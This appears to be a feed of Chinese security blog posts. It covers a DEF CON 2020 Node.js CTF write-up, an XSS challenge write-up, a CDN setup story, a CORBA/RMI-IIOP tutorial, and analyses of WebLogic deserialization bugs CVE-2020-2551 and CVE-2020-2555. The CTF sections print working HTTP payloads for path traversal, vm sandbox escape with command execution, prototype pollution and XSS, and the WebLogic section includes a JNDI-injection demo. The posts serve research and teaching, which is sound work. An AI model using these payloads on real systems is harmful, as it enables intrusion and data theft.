划水Web选手第一次打defcon,有幸能和A*0*E
的大佬们一起见证历史,膜!!
比赛分四场,第四场的0点时候才放web题
源码:https://github.com/o-o-overflow/dc2020f-nooode-public
一道nodeJS审计,任意文件包含,需要结合一堆依赖库找利用:
比赛刚开始的时候可以通过非预期等等姿势来直接包含flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20POST /config/validated/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 9
{'foo':1}HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 872
ETag: W/"368-7Bom1uI0U2E3Qp7J9cAwdko+TRk"
Date: Sun, 09 Aug 2020 16:33:58 GMT
Connection: keep-alive
<h1>Invalid or unexpected token</h1>
<h2></h2>
<pre>/flag:1
00059F8A3FCCD27002E4EE7F05C7ED50540869180234D354
^^^^^
或者编码一下/
1
2
3
4POST /config/validated/%2fflag/test HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: curl/7.68.0
Accept: */*
后来大家修复很多都直接粗暴的把require
、readFileSync
的参数都给成常量,然后就没洞打了。
大概到了两点的样子,重置了patch,不能用原来直接写死require
的方式patch了,白名单patch会被check,最后根据已知poc一个个加的黑名单patch
打node内置库vm沙箱逃逸的payload,在devdocs.io可以找到其他内置库1
2
3
4
5
6
7
8
9
10POST /config/validated/vm/runInThisContext HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
content-type: application/json
Content-Length: 158
["var process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]
预期解有一个应该是用flat的一个原型链污染:https://github.com/hughsk/flat/issues/1051
2
3
4
5
6
7
8
9
10POST /config/validated/flat/unflatten HTTP/1.1
Host: 10.13.37.1:4017
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.24.0
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
__proto__.path=%2Fflag
flat是一个js的对象解析库,提供了像下图这样解析对象的功能,当传入__proto__.path
这样的参数时,即会被污染原型。
源码分析:
通过.
分割参数,将__proto__
当成key传入即可污染原型
另外这里还有一个特性即js里可以传入部分参数来进行函数调用,不同于java的多态:
修复:
作者在修复中判断了key1
不能为__proto__
:
还有一个flag会被截断的链1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23POST /config/validated/jsonlint/main HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 33
{"1":"../../../../../../../flag"}HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 1188
ETag: W/"4a4-a7qhEennNdtDoehPQx3fDgEK7ww"
Date: Sun, 09 Aug 2020 18:26:27 GMT
Connection: keep-alive
<h1>Parse error on line 1:
0002DE946789B7BCFFCC
^
Expecting 'STRING', 'NUMBER', 'NULL', 'TRUE', 'FALSE', '{', '[', got 'undefined'</h1>
<h2></h2>
<pre>Error: Parse error on line 1:
0002DE946789B7BCFFCC
大概5点的样子流量监控到td的大佬软连接读到我们的flag了1
2
3
4
5
6
7
8
9
10
11
12
13POST /config/validated/fstream/Writer HTTP/1.1
Host: 127.0.0.1:4017
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 76
Cookie: __utma=96992031.1308333994.1563790586.1563790586.1563793582.2; csrftoken=jDxu0gfu0oXpRCP5r0wYq0UA7dQau6KfqbXOYH4PQ9O87MwCx5ZAz0THbRMzId2T
Connection: close
Upgrade-Insecure-Requests: 1
{"type":"SymbolicLink","linkpath":"/flag","path":"public/stylesheets/wupco"}
这里还可以通过软连接源码去读别人patch绕过。
json-schema的gadget:1
2
3
4
5
6
7
8
9
10POST /config/validated HTTP/1.1
Host: 10.13.37.3:4017
User-Agent: python-requests/2.11.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}
调用validate:
传入可控的instance
参数,schema
为instance.$schema
传入:
这里主要看164行checkObj
的调用,注意第二个参数schema.properties
,即为我们post的json数据:
checkObj函数的代码如下,将propDef赋值为objTypeDef.__proto__
,即schema.properties.__proto__
,然后作为参数再次调用checkProp(value, schema, path, i)
,而value变成了instance[i]
即instance的原型instance.__proto__
:
然后又到了从checkProp()
执行到了checkObj()
函数:再一次获取第二个参数schema.properties
最后将propDef["default"]
也就是/flag
,传递给了value,也就是instance的原型,即成功污染:
其他几个链:1
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}
https://twitter.com/CVEnew/status/1283502926011543555
修复代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16if(JSON.stringify(req.body).includes('__')) throw new Error('fuck')
if(['vm', 'node-sass', 'jsonlint', 'ejs'].includes(req.params.lib)) throw new Error('asdf')
if(req.params.lib.includes('flag')) throw new Error('asdf')
// pig的修复
for(var Val in Object.prototype)
{
console.log(Val)
if(Object.hasOwnProperty(Val)){
continue
}else{
delete Object.prototype[Val];
console.log(`${Object.prototype[Val]}is delete`);
}
}
因为~
的原因且出题人没给lock文件导致:服务器可以看到warn漏洞:
而本地啥也没有
几个关键的时间节点:(来自Cody大佬的复盘
题目是一个用户可以通过传入正则来对选取文章内容进行高亮显示的功能:
过正则校验:不能有尖括号且字符不能超过36
1 | function highlight_word() { |
看文档:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace
1 | const newStr = str.replace(regexp|substr, newSubstr|function) |
str.replace
有以下几种特殊模式:
第一种:用$&
引用匹配到的<
:1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=.|$%26svg/onload=alert(1)+
第二种:用$`来获取p标签前边的<
1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=p|$`svg/onload=alert(1)+
第三种:$n
这种就是用的最多的引用匹配,缺点就是需要带括号
1 | http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=(.)|$1svg/onload=alert(1)+ |
漏洞利用:通过write(unescape(u))
来写入当前url来进行任意代码执行:1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=[$`style onload=write(unescape(u)) ]#?highlight=<script>alert(1)<%2Fscript>
官方解法里还有几个有意思的点:
在feedback提交给管理员不能用/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<script>
axios.get('?fetch').then(resp => {
for (let i of resp.data) {
let params = new URLSearchParams()
params.set('highlight', i.highlight_word)
if (i.link.includes('/') || i.link.includes('\\')) {
continue; // bye bye hackers uwu
}
let a = document.createElement('a')
a.href = `${i.link}?${params.toString()}`
a.text = `${i.ip}: ${a.href}`
feedback_list.appendChild(a)
feedback_list.appendChild(document.createElement('br'))
}
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)
}, err => {
feedback_list.innerText = err
})
</script>
bypass:
膜hpdoger!!! 膜出题人
]]>先说结论,千万别用千牛云!!
优化结果:从以前的8秒都出不来,到现在秒开:
最开始是迫于图床需求,之前一直用的sm.ms
,最开始速度慢就算了,凑合用一下,到后来把我传的图片ban掉了,导致之前写的文章图片大量404,关键是重新传也传不上..
加上最近写了一篇图片贼多的文章,访问速度巨慢,忍不住就开始找图床。
很早之前看到千牛云每个月免费10G S3对象存储,但是要身份证照片,一直搁置没用,昨天分析完漏洞无事,就一起把之前吃灰的域名都实名了。
之前一直以为满足我图床需求的免费的10g s3能不花钱,后来在配置过程中发现这玩意必须和cdn捆绑使用,好了,七牛云cdn http免费10g流量,用过github page的都知道配置https就是一个按钮的事情,不过问题不大,https的站img用http加载,就是主页有锁,点进文章内容没锁的区别。
用国内cdn最麻烦的地方在于要备案,这里好在白嫖了一个小组的d0g3.cn域名,省去了很多麻烦。
优化完图片后,访问是快了很多,影响加载的主要因素变成了js和css,然后想顺手把hexo的public目录给拉到s3上。
然后我人傻了,他这个不能上传文件夹就很离谱:
然后康师傅让我用ftp传上去(他用的又拍云),找了半天连接工具,然后搜怎么用:
继续找解决办法…
最后找了个他们推出的qshell
命令行工具,想想也算了,hexo
也要用命令行,就无所谓了。
把静态资源同步上去,完了在next里配置一下:
结果博客成这样了:
对,https的站加载不了http的js资源。。
这里为了白嫖10g的http cdn流量,我把hexo全部https全换成了http。
改完之后,这里有个很严重的问题,以前拿https访问过的,之后拿http访问,浏览器会有缓存自动跳https,可是我站强制访问https就会像上图那样,没🔐没js。。
这里我想了个骚主意,插了下边一段代码放在了主页:强制跳转成http…
测试了一下,结果就是在chrome缓存和js的双重加持下,http->https->http,死循环….
这里是关了github page的force https测试的,依旧如此…
屈服了,最后还是选择氪金吧,都花了这么多时间折腾了,不想换厂商了…
CDN和S3分别收费:
为了节约流量,我还加了一个这个
后来@0akarma师傅给我说,这些在又拍云都是免费的,我…
好了,全站https之后,又有新的问题了:
woff等字体文件要配一个跨域资源共享(CORS),然后凭着印象记得S3对象存储那有一个资源共享配置:
配了之后以为要延迟生效,出去打了个球回来,还是不行,然后网上搜了一下:
这波操作属实给我整吐了,在七牛云控制台转了一天,也没看到CDN有跨域的配置。后来想想也确实得在CDN的响应上配置。
后来还遇到几个小问题,woff字体的referer是css,而不是url,这里在防盗链referer校验那加一个白名单就行了:
到现在,就只有html在github上了,我访问https://static-passer6y.d0g3.cn/,不也是我的博客吗,为什么还要用github page呢,而且还解决了html加载慢的问题。
然后我就想着去加一个@
的cname
解析到static-passer6y.d0g3.cn
,在这之前我配了一个mx
的@
记录,用来收邮件的。
一波操作下,阿里云不支持@的cname和mx记录共存…
算了不折腾了,除了html文件在github上,其他的都优化了。
最后,折腾了大半天,七牛云控制台给俺整吐了,人生忠告,千万别用七牛云..
第一次上云真香,就是流量有点贵。
IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于公共对象代理体系(Common Object Request Brokerage Architecture,CORBA),一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档Java IDL: IDL to Java Language Mapping
在jdk安装后,会附带有
idlj
编译器,使用idlj
命令可以将IDL文件编译成java文件
CORBA(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,是由OMG组织制订的一种标准分布式对象结构。其提出是为了解决不同应用间的通信,曾是分布式计算的主流技术。
CORBA结构分为三部分:
他们之间的关系简单理解为:client side从naming service中获取服务方servant side信息。servant side需要在naming service中注册,这样client side在要访问具体内容时会先去naming service查找,以找到对应的servant side服务。
可以理解为目录与章节具体内容具体关系:naming service目录,servant side为内容,目的就是为了让client side快速从目录找到内容。
在CORBA客户端和服务器之间进行远程调用模型如下:
在客户端,应用程序包含远程对象的引用,对象引用具有存根(stub)方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB(Object Request Broker)对象请求代理的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。
在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。
在ORB之间,通信通过IIOP(the Internet Inter-ORB Protocol)互联网内部对象请求代理协议进行。基于标准TCP/IP Internet协议的IIOP提供了CORBA客户端和服务端之间通信的标准。
CORBA使用IDL供用户描述程序接口, 所以这里第一步就是编写idl描述接口,创建Hello.idl
文件:1
2
3
4
5
6
7module HelloApp
{
interface Hello
{
string sayHello();
};
};
该段代码描述了Hello
接口中包含sayHello()
方法,他会返回字符串类型数据。
接着使用JAVA的IDL编译器idlj
,将idl文件编译成class文件:1
idlj -fclient Hello.idl
创建了一个新目录HelloApp
,并生成了5个新文件:
他们之间的关系如下图所示:
参考代码,简单概括一下:
HelloOperations
接口中定义sayHello()
方法Hello
继承了HelloOperations
_HelloStub
类实现了Hello
接口,client side使用hello
接口调用servant side
。HelloHelper
类实现网络传输,数据编码和解码的工作。详细分析一下几段核心代码,先来看一下_HelloStub.java
中sayHello()
的实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public String sayHello ()
{
org.omg.CORBA.portable.InputStream $in = null;
try {
org.omg.CORBA.portable.OutputStream $out = _request ("sayHello", true);
$in = _invoke ($out);
String $result = $in.read_string ();
return $result;
} catch (org.omg.CORBA.portable.ApplicationException $ex) {
$in = $ex.getInputStream ();
String _id = $ex.getId ();
throw new org.omg.CORBA.MARSHAL (_id);
} catch (org.omg.CORBA.portable.RemarshalException $rm) {
return sayHello ( );
} finally {
_releaseReply ($in);
}
} // sayHello
使用org.omg.CORBA.portable
的InputStream
和OutputStream
来表示调用的请求和响应,通过_request()
和_invoke()
方法调用得到结果。
另外在HelloHelper
类中负责处理对象网络传输的编码和解码,来看一下narrow
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public static HelloApp.Hello narrow (org.omg.CORBA.Object obj)
{
if (obj == null)
return null;
else if (obj instanceof HelloApp.Hello)
return (HelloApp.Hello)obj;
else if (!obj._is_a (id ()))
throw new org.omg.CORBA.BAD_PARAM ();
else
{
org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate ();
HelloApp._HelloStub stub = new HelloApp._HelloStub ();
stub._set_delegate(delegate);
return stub;
}
}
接受一个org.omg.CORBA.Object
对象作为参数,返回stub。
执行命令:1
idlj -fserver Hello.idl
会生成三个文件,除了HelloPOA.java
,其余都是一样的。
POA(Portable Object Adapter)是便携式对象适配器,它是CORBA规范的一部分。这里的这个POA虚类是servant side的框架类,它提供了方法帮助我们将具体实现对象注册到naming service上。
来看一下其核心代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40public abstract class HelloPOA extends org.omg.PortableServer.Servant
implements HelloApp.HelloOperations, org.omg.CORBA.portable.InvokeHandler
{
// Constructors
private static java.util.Hashtable _methods = new java.util.Hashtable ();
static
{
_methods.put ("sayHello", new java.lang.Integer (0));
}
public org.omg.CORBA.portable.OutputStream _invoke (String $method,
org.omg.CORBA.portable.InputStream in,
org.omg.CORBA.portable.ResponseHandler $rh)
{
org.omg.CORBA.portable.OutputStream out = null;
java.lang.Integer __method = (java.lang.Integer)_methods.get ($method);
if (__method == null)
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
switch (__method.intValue ())
{
case 0: // HelloApp/Hello/sayHello
{
String $result = null;
$result = this.sayHello ();
out = $rh.createReply();
out.write_string ($result);
break;
}
default:
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
}
return out;
} // _invoke
//...
值得注意的是他也实现了HelloOperations
接口,代码的最开始将sayHello
方法放入一个hashtable中,_invoke
方法中,将调用sayHello()
的结果通过org.omg.CORBA.portable.ResponseHandler
对象通过网络传输到client side。
此时idjl
生成的全部class的关系图:
接下来,要做的就是用户自己实现client side和servant side中具体的方法操作。
对于servant side而言,实现一个HelloImpl
类来继承HelloPOA
类实现sayHello()
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17package HelloApp;
import org.omg.CORBA.ORB;
public class HelloImpl extends HelloPOA {
private ORB orb;
public void setORB(ORB orbVal) {
orb = orbVal;
}
public String sayHello() {
return "\nHello, world!\n";
}
}
此时的继承关系如下:
接着,需要写一个服务端HelloServer
类来接受client side对HelloImpl.sayHello()
的调用。
三个部分:
name service
地址参数来创建,根据CORBA的规范,通过ORB获取一个名称为RootPOA
的POA
对象。(其中name service由jdk中的orbd
提供)HelloImpl
对象以Hello
为名绑定。1 | package HelloApp; |
首先和服务端一样,需要初始化ORB,通过ORB来获取NameService并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的Stub,调用Stub中的sayhello()方法,这个时候才会完成client side向servant side发送请求,POA处理请求,并将具体实现的HelloImpl包装返回给client side。
ORBD可以理解为ORB的守护进程(daemon),其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,可以通过一行命令进行启动:1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
接着分别在HelloServer
和HelloClient
配置name service地址:
其次依次启动name service
、HelloServer
、HelloClient
结果如上图所示。
此外,除了上述先获取NameServer,后通过resolve_str()
方法生成(NameServer方式)的stub,还有两种:
代码分别如下:
orb方式1
2
3
4
5
6
7
8
9
10
11public class HelloClietORB {
static Hello helloImpl;
public static void main(String[] args) throws Exception {
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
System.out.println(hello.sayHello());
}
}
1 | public class HelloClientORB2 { |
JDNI方式:1
2
3
4
5
6
7
8
9
10
11
12
13public class HelloClientJNDI {
static Hello helloImpl;
public static void main(String[] args) throws Exception {
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
System.out.println(helloRef.sayHello());
}
}
服务端流量大致分为两个部分:
获取Naming Service的流量如下:
在返回的响应中,拿到了RootPOA
:
对应的代码为:
接着检测获取到的NamingService
对象是否为NamingContextExt
类的示例:
对应代码:
最后发送op=to_name
和op=rebind
两个指令:
分别为设置引用名,和设置绑定信息,来看一下op=rebind
的数据包:
这里通过IOR信息表示了servant side的相关rpc信息。
这里以NameServer方式生成stub为例:
op=_is_a
判断RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。
参考文档Tutorial: Getting Started Using RMI-IIOP所述,一共四个步骤,对应的文件如下:
sayHello()
实现接口类,必须要实现Remote远程类,且抛出java.rmi.RemoteException
异常。
HelloInterface.java1
2
3
4
5import java.rmi.Remote;
public interface HelloInterface extends java.rmi.Remote {
public void sayHello( String from ) throws java.rmi.RemoteException;
}
实现接口类,必须写构造方法调用父类构造方法,给远程对象初始化使用,同时要实现一个方法给远程调用使用(sayHello()
)
HelloImpl.java1
2
3
4
5
6
7
8
9
10
11
12import javax.rmi.PortableRemoteObject;
public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}
public void sayHello( String from ) throws java.rmi.RemoteException {
System.out.println( "Hello from " + from + "!!" );
System.out.flush();
}
}
编写服务端,创建servant实例,绑定对象。
HelloServer.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
编写客户端类,远程调用sayHello()
方法。
HelloClient.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public static void main( String args[] ) {
Context ic;
Object objref;
HelloInterface hi;
try {
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");
ic = new InitialContext(env);
// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");
// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
hi.sayHello( " MARS " );
} catch( Exception e ) {
System.err.println( "Exception " + e + "Caught" );
e.printStackTrace( );
}
}
}
编译
编译远程接口实现类:1
javac -d . -classpath . HelloImpl.java
给实现类创建stub和skeleton(简单理解即jvm中的套接字通信程序):1
rmic -iiop HelloImpl
执行完后会创建两个文件:
编译:1
javac -d . -classpath . HelloInterface.java HelloServer.java HelloClient.java
运行
开启Naming Service:1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
运行客户端服务端:1
2java -classpath . HelloServer
java -classpath . HelloClient
上述客户端服务端代码如果在
InitialContext
没传入参数可以像文档中所述通过java -D
传递
结果
weblogic10.3.6版本,jdk8u73版本
采坑,记得weblogic版本、rmi服务、exp版本都一致
EXP:https://github.com/Y4er/CVE-2020-2551
这个该漏洞借助IIOP协议触发反序列化,结合对JtaTransactionManager
类的错误过滤,导致可以结合其触发其类的JNDI注入造成RCE的效果。
weblogic中自带的一个Spring框架的包:/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
在反序列化调用readObject
时,会调用initUserTransactionAndTransactionManager
方法:
接着调用this.lookupUserTransaction
方法,传入成员变量this.userTransactionName
:
获取this.getJndiTemplate()
后,在/com/bea/core/repackaged/springframework/jndi/JndiTemplate#lookup
中
到这里通过控制userTransactionName
属性,进行JNDI注入:
demo:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class jnditest {
public static void main(String[] args){
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
serialize(jtaTransactionManager);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jndi.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("jndi.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
后来翻了一下资料,在CVE-2018-3191中使用的就是该gadget,当时结合T3协议进行反序列化,修复方案将JtaTransactionManager
的父类AbstractPlatformTransactionManager
加入到黑名单列表了,T3协议使用的是resolveClass
方法去过滤的,resolveClass
方法是会读取父类的,所以T3协议这样过滤是没问题的。但是在IIOP协议这里,也是使用黑名单进行过滤,但不是使用resolveClass
方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,从而触发JNDI注入。
在上文中RMI-IIOP的客户端demo中,分为三个步骤:
先来看第一个过程,无论是客户端还是服务端都要进行的的一个步骤:InitialContext
方法中将env
参数传入,进行初始化:
经过几次调用,一直跟进到javax/naming/spi/NamingManager.java#getInitialContext
方法
可以看到在这里将我们传入的env
对应的工厂类进行获取,我们来找一下,在weblogic中有多少个可以加载的工厂类,找到InitialContextFactory
接口(ctrl+h
查看依赖树)
这里直接来看WLInitialContextFactory
类:
/wlserver_10.3/server/lib/wls-api.jar!/weblogic/jndi/Environment#getContext
getInitialContext
方法中,到这里其实就是CORBA的解析流程了,
简单跟一下string_to_object
方法,这里其实就是上文中CORBA的stub生成三种方式所对应的协议:
再来看getORBReference
方法,其实就是CORBA初始化orb获取Name Service
的过程:
对应CORBA中代码:
再来看一下Conetext
的绑定过程:/corba/j2ee/naming/ContextImpl
可以看到这个过程其实就是CORBA生成IOR的过程,指定java类型交互的约定为tk_value
,设定op为rebind_any
,存储序列化数据到any类,待client side调用。
其实在分析这里之前一直有一个问题无法理解,一直以为weblogic是orbd+servant side,而我们写的exp是client side,在和@Lucifaer师傅学习后,其实对于weblogic的orbd而言,servant side和client side都是客户端,而weblogic(orbd)是在处理servant side的时候解析数据造成反序列化的问题。
到这里servant side的注册就结束了,下面来分析一下weblogic是如何对其进行解析的。
weblogic解析请求的入口开始:weblogic/rmi/internal/wls/WLSExecuteRequest#run
完整调用栈在下文,这里选取几个比较关键的点来分析:weblogic/corba/idl/CorbaServerRef#invoke
先是判断请求类型是否为objectMethods
已经存在的,这里是rebind_any
,不存在则调用this.delegate._invoke
方法,然后将方法类型,IIOPInputStream
数据传入_invoke
函数:rebind_any
指令类型对应的var5
为1,进入var2.read_any()
这里的this.read_TypeCode()
即上文中Context bind中的tk_value
设置的交互类型,在weblogic/corba/idl/AnyImpl#read_value_internal
对应case 30
,同时这里的Any
类型,在上文Context
分析中正式我们将序列化数据插入的地方。
跟进weblogic/corba/utils/ValueHandlerImpl
在这里var2为ObjectStreamClass
,调用其readObject方法。继续跟readObject
:
反射调用JtaTransactionManager
的readObject
:com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
最后就是jndi注入了:
完整调用栈:
在分析EXP时个人有一点疑惑,记录一下分析和解决的过程。
参考Y4er/CVE-2020-2551,这里我们结合IIOP servant side的demo来看:
上图为EXP,下图为IIOP服务端,这里有一点需要注意的是,在demo中HelloImpl
类继承了HelloInterface
实现了java.rmi.Remote
远程类的继承:
回过头来看JtaTransactionManager
类的接口:
正是这个原因才需要我们在编写EXP的时候,需要将jtaTransactionManager
通过反射,动态转换成remote达到远程调用的目的。
在自己动手分析之前,我一直把weblogic当成servant side和orbd(name Service),也无法理解为什么EXP要和COBAR的servant side一样用rebind注册,后来在@Lucifaer师傅的帮助下才理解这里没有client side的参与,而对于Name Service而言这两者都是客户端。
其次这种漏洞IIOP只是载体,JtaTransactionManager
为gadget,官方修复也仅仅只是添加黑名单,IIOP的问题没根本解决,再爆一个gadget又得修,问题源源不断。更坑爹的是官网直接下的weblogic连黑名单都没有,个人觉得防御这种问题单纯靠waf流量检测根本防不住,没有反序列化特征,二进制数据流。要防范这类新问题的产生,或许只有RASP的行为检测才能解决。
最后感谢@Lucifaer师傅的帮助~
参考文章:
]]>2020年3月6日,Oracle Coherence 反序列化远程代码执行漏洞(CVE-2020-2555)的细节被公开,Oracle Coherence为Oracle融合中间件中的产品,在WebLogic 12c及以上版本中默认集成到WebLogic安装包中,攻击者通过t3协议发送构造的序列化数据,能过造成命令执行的效果。
参考官方发的补丁公告:Oracle Critical Patch Update Advisory - January 2020 Description
这里我们用12.2.1.4测试,拉到idea中,动态调试环境参考:WebLogic-XMLDecoder反序列化分析
主要参考这篇文章来构建gadgets,CVE-2020-2555: RCE THROUGH A DESERIALIZATION BUG IN ORACLE’S WEBLOGIC SERVER
根据文章所述的source点,cmd + o
快速定位到/coherence_3.7/lib/coherence.jar!/com/tangosol/util/filter/LimitFilter.class
文章中diff的函数就是这个toString
函数了,补丁中去掉了该函数所有的extractor.extract
方法:
toString()
方法,在很多JRE的class中readObject
方法都有实现,比如:javax/management/BadAttributeValueExpException.java
这个点和common-collection5的gadget很像,参考文章:https://y4er.com/post/ysoserial-commonscollections-5/
接着就是寻找哪个可序列化class中的有extract
函数,且方便构造命令执行的,一般来说有这么些点:
Runtime.exec()
Method.invoke()
RMI/JNDI/JRMP
在com/tangosol/util/extractor/ReflectionExtractor.class
中实现了Method.invoke()
的调用:
这里读过common-collection5
的都会熟悉,接下来就要找一个链式调用的点,构造命令执行: /com/tangosol/util/extractor/ChainedExtractor.class
到这里基本已经分析完了,EXP编写参考这个完成gadget调用链:1
2
3
4
5
6
7
8
9
10
11
12
13ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
这个漏洞基本思路和common-collection一样,编写EXP只有一点点差异,仔细读代码理解调用关系就好了,这里就不公开EXP了。
因为是参考分析写的EXP,分析文章中关键类的位置已经给出了,个人感觉挖掘漏洞过程中最重要的点还是寻找数据传输的过程,之后的学习得在寻找gadget调用关系上多研究研究。
